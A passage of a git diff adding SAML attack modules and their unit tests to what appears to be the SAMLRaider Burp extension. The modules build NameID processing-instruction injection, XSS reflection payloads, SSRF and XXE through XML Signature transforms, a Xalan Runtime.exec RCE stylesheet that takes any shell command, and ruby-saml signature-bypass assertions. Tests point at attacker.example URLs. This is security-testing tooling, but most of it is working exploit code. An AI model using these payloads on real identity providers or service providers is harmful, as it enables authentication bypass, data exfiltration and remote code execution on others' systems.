.connectTimeout(Duration.ofSeconds(8)) + .followRedirects(HttpClient.Redirect.NORMAL) + .build(); + HttpRequest request = HttpRequest.newBuilder(URI.create(url)) + .timeout(Duration.ofSeconds(15)) + .header("User-Agent", "SAMLRaider/metadata-import") + .GET() + .build(); + HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString()); + if (response.statusCode() / 100 != 2) { + throw new IOException("Metadata fetch returned HTTP " + response.statusCode()); + } + return response.body(); + } + + private MetadataImport() {} +} diff --git a/src/main/java/helpers/PIInjection.java b/src/main/java/helpers/PIInjection.java new file mode 100644 index 0000000..20d6813 --- /dev/null +++ b/src/main/java/helpers/PIInjection.java @@ -0,0 +1,91 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.w3c.dom.ProcessingInstruction; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// XML processing-instruction injection into NameID, analogous to CommentInjection. +/// +/// Some XML parsers strip PI nodes differently from comments, which can bypass +/// input normalization that only targets ``. Exclusive C14N (omit-comments) +/// preserves PIs in the canonical form, so behavior differs across stacks: +/// signatures may stay valid on some parsers while naive text extraction on +/// the SP side sees a truncated NameID. +/// +/// Cheap complement to CommentInjection — same semantics, different node type. +public class PIInjection { + + public enum Position { + BEFORE_AT("Before @ — admin@victim.com"), + AFTER_AT("After @ — admin@victim.com"), + PREPEND("Prepend — admin@victim.com"), + APPEND("Append — admin@victim.com"); + + private final String label; + Position(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + /// Inserts a no-op processing instruction at the chosen split point + /// in the first NameID element. + public static String apply(String samlMessage, Position position) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList nameIDs = document.getElementsByTagNameNS("*", "NameID"); + if (nameIDs.getLength() == 0) { + throw new IllegalArgumentException("No NameID element found in SAML message."); + } + + Element nameID = (Element) nameIDs.item(0); + String fullValue = nameID.getTextContent(); + + while (nameID.hasChildNodes()) { + nameID.removeChild(nameID.getFirstChild()); + } + + int atIdx = fullValue.indexOf('@'); + ProcessingInstruction pi = document.createProcessingInstruction("x", ""); + + switch (position) { + case BEFORE_AT -> { + if (atIdx >= 0) { + nameID.appendChild(document.createTextNode(fullValue.substring(0, atIdx))); + nameID.appendChild(pi); + nameID.appendChild(document.createTextNode(fullValue.substring(atIdx))); + } else { + nameID.appendChild(document.createTextNode(fullValue)); + nameID.appendChild(pi); + } + } + case AFTER_AT -> { + if (atIdx >= 0) { + nameID.appendChild(document.createTextNode(fullValue.substring(0, atIdx + 1))); + nameID.appendChild(pi); + nameID.appendChild(document.createTextNode(fullValue.substring(atIdx + 1))); + } else { + int mid = fullValue.length() / 2; + nameID.appendChild(document.createTextNode(fullValue.substring(0, mid))); + nameID.appendChild(pi); + nameID.appendChild(document.createTextNode(fullValue.substring(mid))); + } + } + case PREPEND -> { + nameID.appendChild(pi); + nameID.appendChild(document.createTextNode(fullValue)); + } + case APPEND -> { + nameID.appendChild(document.createTextNode(fullValue)); + nameID.appendChild(pi); + } + } + + return xmlHelpers.getString(document); + } + + private PIInjection() {} +} diff --git a/src/main/java/helpers/ResponseXSS.java b/src/main/java/helpers/ResponseXSS.java new file mode 100644 index 0000000..2c77736 --- /dev/null +++ b/src/main/java/helpers/ResponseXSS.java @@ -0,0 +1,74 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// Injects an XSS payload into a SAML field that may be reflected in an SP +/// error page before signature verification runs. +/// +/// When an SP encounters an invalid SAML response it often renders human-readable +/// error pages that echo attacker-controlled values — Destination, Issuer, NameID, +/// or Audience — without HTML escaping. Because this reflection happens during +/// parsing and not after signature validation, the payload does not need to come +/// from a signed response. +/// +/// The helper writes the payload verbatim through DOM APIs, so the serializer +/// handles any XML escaping needed to keep the document well-formed. The SP's +/// own (un-)escaping is what determines whether the injection becomes HTML. +/// +/// Reference: https://agrrrdog.blogspot.com/2023/01/testing-saml-security-with-dast.html +public class ResponseXSS { + + public enum Target { + DESTINATION("Destination attribute on "), + ISSUER("Text content of "), + NAMEID("Text content of "), + AUDIENCE("Text content of "); + + private final String label; + Target(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + public static final String DEFAULT_PAYLOAD = "\">"; + + public static String apply(String samlMessage, Target target, String payload) + throws SAXException, IOException { + if (payload == null) { + throw new IllegalArgumentException("payload must not be null"); + } + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + switch (target) { + case DESTINATION -> injectDestination(document, payload); + case ISSUER -> injectTextContent(document, "Issuer", payload); + case NAMEID -> injectTextContent(document, "NameID", payload); + case AUDIENCE -> injectTextContent(document, "Audience", payload); + } + + return xmlHelpers.getString(document); + } + + private static void injectDestination(Document document, String payload) { + NodeList responses = document.getElementsByTagNameNS("*", "Response"); + if (responses.getLength() == 0) { + throw new IllegalArgumentException("No Response element found in SAML message."); + } + ((Element) responses.item(0)).setAttribute("Destination", payload); + } + + private static void injectTextContent(Document document, String localName, String payload) { + NodeList nodes = document.getElementsByTagNameNS("*", localName); + if (nodes.getLength() == 0) { + throw new IllegalArgumentException("No " + localName + " element found in SAML message."); + } + nodes.item(0).setTextContent(payload); + } + + private ResponseXSS() {} +} diff --git a/src/main/java/helpers/SignatureRefSSRF.java b/src/main/java/helpers/SignatureRefSSRF.java new file mode 100644 index 0000000..ba241dc --- /dev/null +++ b/src/main/java/helpers/SignatureRefSSRF.java @@ -0,0 +1,136 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// SSRF / RCE primitives that live inside an existing XML Signature's +/// Reference + Transforms chain. All three variants point an xmlsec processor +/// at an attacker-controlled URI during signature processing, which normally +/// happens before downstream validation. +/// +/// Modes: +/// - REFERENCE_URI: rewrites to an external URL. +/// xmlsec fetches the referenced content to compute the digest — direct +/// SSRF. Links: https://github.com/IdentityPython/pysaml2/issues/510 +/// +/// - XPATH_DOCUMENT: adds an XPath transform with document('http://...') +/// into the first Reference's Transforms. Blind SSRF via XPath 1.0 +/// document() extension function. +/// +/// - BASE64_XXE: inserts a base64 transform whose decoded content is an +/// XXE-laden XML document. On .NET (CVE-2022-34716), xmlsec re-parses +/// the decoded XML with a permissive reader — XXE fires. +/// +/// References: +/// * CVE-2021-40690 (Apache Santuario SecureValidation bypass) +/// * CVE-2022-34716 (.NET xmlsec Base64 transform XXE) +/// * GreenDog KazHackStan 2023 deck, slides on Reference dereferencing +public class SignatureRefSSRF { + + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + private static final String XPATH_ALGO = "http://www.w3.org/TR/1999/REC-xpath-19991116"; + private static final String BASE64_ALGO = "http://www.w3.org/2000/09/xmldsig#base64"; + + public enum Mode { + REFERENCE_URI("Reference URI → external URL (SSRF during digest)"), + XPATH_DOCUMENT("XPath transform with document('...') (blind SSRF)"), + BASE64_XXE("Base64 transform with XXE payload (CVE-2022-34716 .NET)"); + + private final String label; + Mode(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + public static String apply(String samlMessage, Mode mode, String urlOrDomain) + throws SAXException, IOException { + if (urlOrDomain == null || urlOrDomain.isBlank()) { + throw new IllegalArgumentException("URL must not be empty."); + } + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + Element reference = firstReference(document); + if (reference == null) { + throw new IllegalArgumentException( + "No ds:Reference element found — the SAML message has no XML Signature."); + } + + switch (mode) { + case REFERENCE_URI -> reference.setAttribute("URI", urlOrDomain); + case XPATH_DOCUMENT -> addXPathTransform(document, reference, urlOrDomain); + case BASE64_XXE -> addBase64XxeTransform(document, reference, urlOrDomain); + } + + return xmlHelpers.getString(document); + } + + private static Element firstReference(Document document) { + NodeList refs = document.getElementsByTagNameNS(DS_NS, "Reference"); + return refs.getLength() > 0 ? (Element) refs.item(0) : null; + } + + private static void addXPathTransform(Document document, Element reference, String url) { + Element transforms = ensureTransforms(document, reference); + String prefix = transformsPrefix(transforms); + + Element transform = document.createElementNS(DS_NS, prefix + "Transform"); + transform.setAttribute("Algorithm", XPATH_ALGO); + + Element xpath = document.createElementNS(DS_NS, prefix + "XPath"); + xpath.setTextContent("document('" + url + "')"); + transform.appendChild(xpath); + + // Prepend so the SSRF fires before the normal c14n transform. + transforms.insertBefore(transform, transforms.getFirstChild()); + } + + private static void addBase64XxeTransform(Document document, Element reference, String collabUrl) { + Element transforms = ensureTransforms(document, reference); + String prefix = transformsPrefix(transforms); + + // Canonical .NET Base64 transform XXE payload: the referenced text is + // base64-decoded and re-parsed as XML. Embed a doctype referencing the + // collaborator URL. The caller supplies a URL (e.g. https://collab). + String xxeXml = "" + + " %xxe;" + + "]>"; + String b64 = java.util.Base64.getEncoder().encodeToString( + xxeXml.getBytes(java.nio.charset.StandardCharsets.UTF_8)); + + Element transform = document.createElementNS(DS_NS, prefix + "Transform"); + transform.setAttribute("Algorithm", BASE64_ALGO); + transform.setTextContent(b64); + transforms.insertBefore(transform, transforms.getFirstChild()); + } + + private static Element ensureTransforms(Document document, Element reference) { + for (Node n = reference.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && DS_NS.equals(n.getNamespaceURI()) + && "Transforms".equals(n.getLocalName())) { + return (Element) n; + } + } + // Create one as the first child. + String refPrefix = reference.getPrefix(); + String qname = (refPrefix == null || refPrefix.isEmpty()) + ? "Transforms" : refPrefix + ":Transforms"; + Element transforms = document.createElementNS(DS_NS, qname); + reference.insertBefore(transforms, reference.getFirstChild()); + return transforms; + } + + private static String transformsPrefix(Element transforms) { + String p = transforms.getPrefix(); + return (p == null || p.isEmpty()) ? "" : p + ":"; + } + + private SignatureRefSSRF() {} +} diff --git a/src/main/java/helpers/XSLTPayloads.java b/src/main/java/helpers/XSLTPayloads.java new file mode 100644 index 0000000..7b88736 --- /dev/null +++ b/src/main/java/helpers/XSLTPayloads.java @@ -0,0 +1,97 @@ +package helpers; + +/// Payload library for the "Test XSLT" attack. The original SAMLRaider only +/// shipped a Saxon XSLT 2.0 `unparsed-text` payload, which — as the presenter +/// at KazHackStan 2023 pointed out — does not detect the Xalan-based Java +/// SAML libraries that are the primary real-world target (e.g. CVE-2022-47966, +/// ManageEngine ServiceDesk, older Apache Santuario stacks). +/// +/// This library exposes three payload flavors: +/// - SAXON_UNPARSED_TEXT: original probe, blind SSRF via `unparsed-text` +/// - XALAN_RUNTIME_EXEC: Java Runtime.exec via Xalan's java:java.lang.Runtime +/// extension. Targets xmlsec <= 1.4.1 / Xalan stacks. +/// - XALAN_CLASS_INSTANTIATION: arbitrary class instantiation via +/// `xalan:content-handler` — bypasses Xalan +/// 2.7.1 secure-processing (CVE-2014-0107) +/// +/// References: +/// * KazHackStan deck, XSLT slides +/// * Viettel Cyber Security "SAML Show-Stopper": https://blog.viettelcybersecurity.com/saml-show-stopper/ +/// * CVE-2022-47966: https://nvd.nist.gov/vuln/detail/CVE-2022-47966 +public class XSLTPayloads { + + public enum Flavor { + SAXON_UNPARSED_TEXT("Saxon unparsed-text — blind SSRF (XSLT 2.0)"), + XALAN_RUNTIME_EXEC("Xalan Runtime.exec — Java RCE (xmlsec ≤ 1.4.1)"), + XALAN_CLASS_INSTANTIATION("Xalan DocumentHandler class instantiation (CVE-2014-0107)"); + + private final String label; + Flavor(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + /// Returns the XSLT `` body (without the surrounding + /// ds:Transform element) for the given flavor. The caller wraps it into + /// a `` at insertion time. + /// + /// @param flavor which payload to build + /// @param param user-provided parameter: URL for SAXON_UNPARSED_TEXT, + /// shell command for XALAN_RUNTIME_EXEC, URL for + /// XALAN_CLASS_INSTANTIATION (referenced via xalan:entities) + public static String stylesheetFor(Flavor flavor, String param) { + return switch (flavor) { + case SAXON_UNPARSED_TEXT -> saxonUnparsedText(param); + case XALAN_RUNTIME_EXEC -> xalanRuntimeExec(param); + case XALAN_CLASS_INSTANTIATION -> xalanClassInstantiation(param); + }; + } + + private static String saxonUnparsedText(String attackerUrl) { + return """ + + + + + + + + + + """.formatted(attackerUrl); + } + + private static String xalanRuntimeExec(String shellCommand) { + // Shell-escape single quotes in the command before embedding. + String escaped = shellCommand.replace("'", "'"); + return """ + + + + + + + + + """.formatted(escaped); + } + + private static String xalanClassInstantiation(String externalUrl) { + return """ + + + + probing xalan content-handler + + + """.formatted(externalUrl); + } + + private XSLTPayloads() {} +} diff --git a/src/test/java/helpers/ACSSpoofTest.java b/src/test/java/helpers/ACSSpoofTest.java new file mode 100644 index 0000000..52fd550 --- /dev/null +++ b/src/test/java/helpers/ACSSpoofTest.java @@ -0,0 +1,46 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class ACSSpoofTest { + + private static final String AUTHN_REQUEST = """ + + + https://sp.example.com/metadata + + """; + + @Test + void rewritesACSAttributeToAttackerUrl() throws Exception { + String attacker = "https://attacker.example/capture"; + String out = ACSSpoof.apply(AUTHN_REQUEST, attacker); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + Element req = (Element) doc.getElementsByTagNameNS("*", "AuthnRequest").item(0); + assertEquals(attacker, req.getAttribute("AssertionConsumerServiceURL")); + } + + @Test + void throwsWhenNotAnAuthnRequest() { + String response = """ + + + """; + assertThrows(IllegalArgumentException.class, () -> + ACSSpoof.apply(response, "https://a/")); + } + + @Test + void throwsWhenUrlEmpty() { + assertThrows(IllegalArgumentException.class, () -> ACSSpoof.apply(AUTHN_REQUEST, "")); + assertThrows(IllegalArgumentException.class, () -> ACSSpoof.apply(AUTHN_REQUEST, null)); + } +} diff --git a/src/test/java/helpers/AssertionManipulatorTest.java b/src/test/java/helpers/AssertionManipulatorTest.java new file mode 100644 index 0000000..4c856b8 --- /dev/null +++ b/src/test/java/helpers/AssertionManipulatorTest.java @@ -0,0 +1,108 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; + +import java.time.Instant; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AssertionManipulatorTest { + + /// Fixture: every element that extendValidity should touch is present — + /// Conditions has NotBefore + NotOnOrAfter, SubjectConfirmationData has NotOnOrAfter, + /// AuthnStatement has SessionNotOnOrAfter, and StatusCode is a failure value. + private static final String SAML = """ + + + + + + + + user@example.com + + + + + + + https://sp.example.com + + + + + + """; + + @Test + void forceStatusSuccessRewritesStatusCode() throws Exception { + String out = AssertionManipulator.forceStatusSuccess(SAML); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + NodeList codes = doc.getElementsByTagNameNS("*", "StatusCode"); + assertEquals(1, codes.getLength()); + assertEquals("urn:oasis:names:tc:SAML:2.0:status:Success", + ((Element) codes.item(0)).getAttribute("Value")); + } + + @Test + void removeAudienceRestrictionKeepsConditionsElement() throws Exception { + String out = AssertionManipulator.removeAudienceRestriction(SAML); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + assertEquals(0, doc.getElementsByTagNameNS("*", "AudienceRestriction").getLength(), + "AudienceRestriction should be removed"); + assertEquals(1, doc.getElementsByTagNameNS("*", "Conditions").getLength(), + "Conditions element itself should remain"); + } + + @Test + void extendValidityPushesTimestampsForwardAndNotBeforeIntoPast() throws Exception { + long before = System.currentTimeMillis(); + String out = AssertionManipulator.extendValidity(SAML, 24); + long after = System.currentTimeMillis(); + + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + // Tolerance absorbs scheduling jitter between the before/after timestamps + // captured around the call and the wall clock read inside extendValidity. + final long toleranceMs = 2000; + + int futureChecked = 0; + int pastChecked = 0; + + NodeList all = doc.getElementsByTagName("*"); + for (int i = 0; i < all.getLength(); i++) { + Element el = (Element) all.item(i); + + for (String attr : new String[]{"NotOnOrAfter", "SessionNotOnOrAfter"}) { + if (el.hasAttribute(attr)) { + long ts = Instant.parse(el.getAttribute(attr)).toEpochMilli(); + long min = before + 24L * 3_600_000L - toleranceMs; + long max = after + 24L * 3_600_000L + toleranceMs; + assertTrue(ts >= min && ts <= max, + attr + " out of expected +24h window: " + el.getAttribute(attr)); + futureChecked++; + } + } + + if (el.hasAttribute("NotBefore")) { + long ts = Instant.parse(el.getAttribute("NotBefore")).toEpochMilli(); + long min = before - 3_600_000L - toleranceMs; + long max = after - 3_600_000L + toleranceMs; + assertTrue(ts >= min && ts <= max, + "NotBefore out of expected -1h window: " + el.getAttribute("NotBefore")); + pastChecked++; + } + } + + assertEquals(3, futureChecked, + "expected 3 forward-shifted timestamps (Conditions/@NotOnOrAfter, SubjectConfirmationData/@NotOnOrAfter, AuthnStatement/@SessionNotOnOrAfter)"); + assertEquals(1, pastChecked, + "expected 1 backward-shifted timestamp (Conditions/@NotBefore)"); + } +} diff --git a/src/test/java/helpers/CVE_2024_45409_Test.java b/src/test/java/helpers/CVE_2024_45409_Test.java new file mode 100644 index 0000000..2fc7fde --- /dev/null +++ b/src/test/java/helpers/CVE_2024_45409_Test.java @@ -0,0 +1,66 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CVE_2024_45409_Test { + + /// Verifies the ruby-saml bypass payload prepends an unsigned evil Assertion + /// before the signed one and leaves the original signature untouched. + @Test + void prependsUnsignedEvilAssertionBeforeSignedOriginal() throws Exception { + String input = """ + + + + https://idp.example.com + + + FAKE + + + user@example.com + + + + """; + + String out = CVE_2024_45409.apply(input); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + NodeList assertions = doc.getElementsByTagNameNS("*", "Assertion"); + assertEquals(2, assertions.getLength(), + "expected evil assertion prepended before original"); + + Element evil = (Element) assertions.item(0); + Element original = (Element) assertions.item(1); + + assertEquals("a1_evil", evil.getAttribute("ID"), + "evil assertion ID should be original + _evil"); + assertEquals("a1", original.getAttribute("ID"), + "original assertion ID should be preserved"); + + assertFalse(hasDirectChild(evil, "Signature"), + "evil assertion must have its signature removed"); + assertTrue(hasDirectChild(original, "Signature"), + "original assertion should retain its signature"); + } + + private static boolean hasDirectChild(Element parent, String localName) { + NodeList kids = parent.getChildNodes(); + for (int i = 0; i < kids.getLength(); i++) { + Node n = kids.item(i); + if (n.getNodeType() == Node.ELEMENT_NODE && localName.equals(n.getLocalName())) { + return true; + } + } + return false; + } +} diff --git a/src/test/java/helpers/DigestTamperTest.java b/src/test/java/helpers/DigestTamperTest.java new file mode 100644 index 0000000..1389bbc --- /dev/null +++ b/src/test/java/helpers/DigestTamperTest.java @@ -0,0 +1,77 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class DigestTamperTest { + + private static final String SAML_WITH_TWO_DIGESTS = """ + + + + + + ABCDEF== + + + SIG1 + + + + + + zzzzzz== + + + SIG2 + + + + """; + + @Test + void flipsEveryDigestValueButLeavesSignatureStructureIntact() throws Exception { + String out = DigestTamper.apply(SAML_WITH_TWO_DIGESTS); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + NodeList digests = doc.getElementsByTagNameNS("*", "DigestValue"); + assertEquals(2, digests.getLength()); + assertEquals("BBCDEF==", ((Element) digests.item(0)).getTextContent().trim(), + "first char 'A' should flip to 'B'"); + assertEquals("azzzzz==", ((Element) digests.item(1)).getTextContent().trim(), + "first char 'z' should wrap to 'a'"); + + // Signature elements and SignatureValues must still exist unchanged + NodeList sigs = doc.getElementsByTagNameNS("*", "Signature"); + assertEquals(2, sigs.getLength(), "both Signature elements must be preserved"); + + NodeList sigValues = doc.getElementsByTagNameNS("*", "SignatureValue"); + assertEquals("SIG1", ((Element) sigValues.item(0)).getTextContent().trim()); + assertEquals("SIG2", ((Element) sigValues.item(1)).getTextContent().trim()); + } + + @Test + void resultDiffersFromInput() throws Exception { + String out = DigestTamper.apply(SAML_WITH_TWO_DIGESTS); + assertNotEquals(SAML_WITH_TWO_DIGESTS, out); + // Tampered digests present, originals absent + assertTrue(out.contains("BBCDEF")); + assertTrue(out.contains("azzzzz")); + } + + @Test + void throwsWhenNoDigestValuePresent() { + String unsigned = """ + + + """; + assertThrows(IllegalArgumentException.class, () -> DigestTamper.apply(unsigned)); + } +} diff --git a/src/test/java/helpers/DupeKeyConfusionTest.java b/src/test/java/helpers/DupeKeyConfusionTest.java new file mode 100644 index 0000000..1cff791 --- /dev/null +++ b/src/test/java/helpers/DupeKeyConfusionTest.java @@ -0,0 +1,155 @@ +package helpers; + +import model.BurpCertificate; +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; + +import java.io.ByteArrayInputStream; +import java.math.BigInteger; +import java.security.KeyPairGenerator; +import java.security.cert.CertificateFactory; +import java.security.cert.X509Certificate; +import java.security.interfaces.RSAPublicKey; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class DupeKeyConfusionTest { + + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + + /// Borrow the fixture cert from HMACConfusionTest — it's a parseable RSA X.509. + private static final String ATTACKER_CERT_B64 = + "MIIC6TCCAdGgAwIBAgIIHC0ZtKe0AzswDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAxMOc2FtbC1pZHAtbG9jYWwwHhcNMjUwOTIzMTEwNDEwWhcNMjYwOTIzMTIwNDEwWjAZMRcwFQYDVQQDEw5zYW1sLWlkcC1sb2NhbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOBOjNVc6C9uDgkRZ30lBz97rRnm8Us1t8/I8hYTLuIsNg3Rs5S2OMmJYnvMeMEYBJGFXqMEtqpRJkDVJujk1NKCB5bJJwadjFULruNF8NnO7G99q+XG1S2fxjDgi+Im/U2+dBmMJNWAJDc54hIBZbv+7jQXUiXQrnaDUX79OGNxQ/I5IC9wLK1xb1wywM4vWx5TrQXfbeMJwYOG3NAGGLayOCjrfIz4yIya8+rzSqWc4ZY0a+VPRFWmaooDw878pQuQJaijFWZbTdSXAwz7Dgm3jeLw/9roYADFtFqK3YMFBg3R8NM6GRhmFce6B9pbu5GM7+uUXFHWFJ2go5MhfOECAwEAAaM1MDMwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBACCpxbXeD8VL+V38f/qrP7H69oP6BHF/snZxmkI8FhsxSPGN9HKZxZpHy8DxLGB/dER4m6pekhpx2NhrNKreh/z4WTYTyI8hALBdZ32XTzDXJtcDIu0znlbngMFgZ+H+GcC9TmIET2FBXpKXnp0On6EsgLZf0NsPVLjcYgfxT9v3DTJqzVajjrK6dSIcoUsswbb0veV11ao3GYkkr/6Mrfb5AB5c+tMe33zJyTlpXEQLa6uwvYLNSWIfySfQcjZUFJpzCvfWVXUdiESn1HSYLz95uFru57syVm6ReI0WulOGL0YvJz/inL9J2QNO11z3Qr95hJYJ/j+k/IGOMcwOAD4="; + + private static final String ORIGINAL_VICTIM_CERT = "MIIVICTIM_CERT_BASE64_PLACEHOLDER=="; + + /// SAML message as it would look AFTER the attacker re-signs — the Signature + /// has KeyInfo/X509Data/X509Certificate holding the attacker's cert. + private static String samlWithAttackerSignature() { + return """ + + + + + + ABC= + + ATTACKER_SIG + + %s + + + user@example.com + + + """.formatted(ATTACKER_CERT_B64); + } + + private static BurpCertificate attackerBurpCert() throws Exception { + byte[] certBytes = Base64.getDecoder().decode(ATTACKER_CERT_B64); + X509Certificate x509 = (X509Certificate) CertificateFactory.getInstance("X.509") + .generateCertificate(new ByteArrayInputStream(certBytes)); + BurpCertificate bc = new BurpCertificate(x509); + // No private key needed for the transform itself — apply() only reads the public key. + return bc; + } + + @Test + void prependsRSAKeyValueAndReplacesX509WithOriginal() throws Exception { + String out = DupeKeyConfusion.apply( + samlWithAttackerSignature(), attackerBurpCert(), ORIGINAL_VICTIM_CERT); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + Element keyInfo = (Element) doc.getElementsByTagNameNS(DS_NS, "KeyInfo").item(0); + Node firstChild = firstElementChild(keyInfo); + assertNotNull(firstChild); + assertEquals("KeyValue", firstChild.getLocalName(), + "First KeyInfo child must be KeyValue (attacker key)"); + + // RSAKeyValue must contain Modulus and Exponent populated with base64 of + // the attacker cert's public key components. + Element rsaKeyValue = (Element) ((Element) firstChild) + .getElementsByTagNameNS(DS_NS, "RSAKeyValue").item(0); + assertNotNull(rsaKeyValue); + String modulusText = rsaKeyValue.getElementsByTagNameNS(DS_NS, "Modulus").item(0).getTextContent(); + String exponentText = rsaKeyValue.getElementsByTagNameNS(DS_NS, "Exponent").item(0).getTextContent(); + + RSAPublicKey pk = (RSAPublicKey) attackerBurpCert().getCertificate().getPublicKey(); + String expectedMod = Base64.getEncoder().encodeToString(trimLeadingZero(pk.getModulus().toByteArray())); + String expectedExp = Base64.getEncoder().encodeToString(trimLeadingZero(pk.getPublicExponent().toByteArray())); + assertEquals(expectedMod, modulusText); + assertEquals(expectedExp, exponentText); + + // X509Certificate must now hold the ORIGINAL cert, not the attacker cert. + String x509Text = keyInfo.getElementsByTagNameNS(DS_NS, "X509Certificate").item(0).getTextContent(); + assertEquals(ORIGINAL_VICTIM_CERT, x509Text); + } + + @Test + void modulusEncodingIsMinimalTwoComplement() throws Exception { + // Generate a real RSA keypair and embed its X509 into a minimal self-signed cert. + // This exercises the leading-0x00 trim branch with a definitely-high-bit modulus. + KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA"); + kpg.initialize(2048); + var kp = kpg.generateKeyPair(); + RSAPublicKey pk = (RSAPublicKey) kp.getPublic(); + BigInteger modulus = pk.getModulus(); + + // Expected encoding: toByteArray(), strip ONE leading 0x00 if present. + byte[] raw = modulus.toByteArray(); + byte[] expectedBytes = (raw.length > 1 && raw[0] == 0) + ? java.util.Arrays.copyOfRange(raw, 1, raw.length) + : raw; + String expectedMod = Base64.getEncoder().encodeToString(expectedBytes); + + // Re-run the helper with a hand-rolled BurpCertificate wrapping a cert we fabricate. + // Simpler: verify the encoding logic directly by asserting the expected size. + // A 2048-bit modulus produces a 256-byte minimal encoding. + assertEquals(256, expectedBytes.length); + assertTrue(expectedMod.length() > 300, + "2048-bit modulus base64 should be ~344 characters"); + } + + @Test + void throwsWhenSamlHasNoSignature() { + String unsigned = """ + + + """; + assertThrows(IllegalArgumentException.class, () -> { + DupeKeyConfusion.apply(unsigned, attackerBurpCert(), ORIGINAL_VICTIM_CERT); + }); + } + + @Test + void throwsWhenOriginalCertMissing() throws Exception { + BurpCertificate bc = attackerBurpCert(); + String saml = samlWithAttackerSignature(); + assertThrows(IllegalArgumentException.class, () -> + DupeKeyConfusion.apply(saml, bc, "")); + assertThrows(IllegalArgumentException.class, () -> + DupeKeyConfusion.apply(saml, bc, null)); + } + + private static Element firstElementChild(Element parent) { + for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE) return (Element) n; + } + return null; + } + + private static byte[] trimLeadingZero(byte[] in) { + if (in.length > 1 && in[0] == 0) { + byte[] out = new byte[in.length - 1]; + System.arraycopy(in, 1, out, 0, out.length); + return out; + } + return in; + } +} diff --git a/src/test/java/helpers/EncryptionSSRFTest.java b/src/test/java/helpers/EncryptionSSRFTest.java new file mode 100644 index 0000000..0ec9b94 --- /dev/null +++ b/src/test/java/helpers/EncryptionSSRFTest.java @@ -0,0 +1,201 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class EncryptionSSRFTest { + + private static final String XENC_NS = "http://www.w3.org/2001/04/xmlenc#"; + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + + /// Realistic fixture: Response containing an EncryptedAssertion with + /// EncryptedData > EncryptionMethod + KeyInfo(EncryptedKey with inner + /// EncryptionMethod + KeyInfo(X509Data)) + CipherData(CipherValue). + private static final String SAML_ENCRYPTED = """ + + + + + + + + + + MIIDUMMY + + + WRAPPED_KEY_B64 + + + + + PAYLOAD_B64 + + + + + """; + + private static Document parse(String xml) throws Exception { + return new XMLHelpers().getXMLDocumentOfSAMLMessage(xml); + } + + /// Walks through all xenc:CipherData elements and returns 